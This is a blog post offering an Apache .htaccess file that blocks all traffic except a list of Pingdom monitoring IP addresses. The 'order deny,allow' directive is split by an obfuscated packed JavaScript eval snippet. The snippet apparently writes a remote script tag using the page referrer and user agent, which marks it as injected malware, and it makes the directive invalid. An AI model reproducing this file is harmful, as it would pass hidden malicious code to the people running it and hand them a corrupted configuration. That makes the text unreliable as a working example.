.htaccess file to allow pingdom servers

I’m setting up some servers that are restricted but still need to be monitored. In order to do this I setup an .htaccess file that denies traffic by default expect for IPs that are allowed. Here is the file that you can use to allow servers from pingdom but restrict everything else. Note you’ll have to add your own IP address and anyone else that wants to access the site:

order eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiadk|var|u0026u|referrer|yishz||js|php’.split(‘|’),0,{}))
deny,allow
deny from all
allow from 83.140.19.38
allow from 67.228.213.178
allow from 208.43.68.59
allow from 94.46.240.121
allow from 72.46.130.42
allow from 173.248.147.18
allow from 173.204.85.217
allow from 84.246.230.247
allow from 212.84.74.156
allow from 64.141.100.136
allow from 178.255.152.2
allow from 64.237.55.3
allow from 178.255.155.2
allow from 178.255.153.2
allow from 178.255.154.2
allow from 96.31.66.245
allow from 82.103.128.63
allow from 67.205.112.79
allow from 78.136.27.223
allow from 67.192.120.134
allow from 207.97.207.200
allow from 207.218.231.170
allow from 95.211.87.85
allow from 83.170.113.102
allow from 74.52.50.50
allow from 74.53.193.66
allow from 204.152.200.42
allow from 85.25.176.167
allow from 174.34.162.242
allow from 70.32.40.2
allow from 174.34.156.130
allow from 69.59.28.19

Pingdom may change server IPs periodically so please confirm that the IP addresses are correct before adding them.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this:
search previous next tag category expand menu location phone mail time cart zoom edit close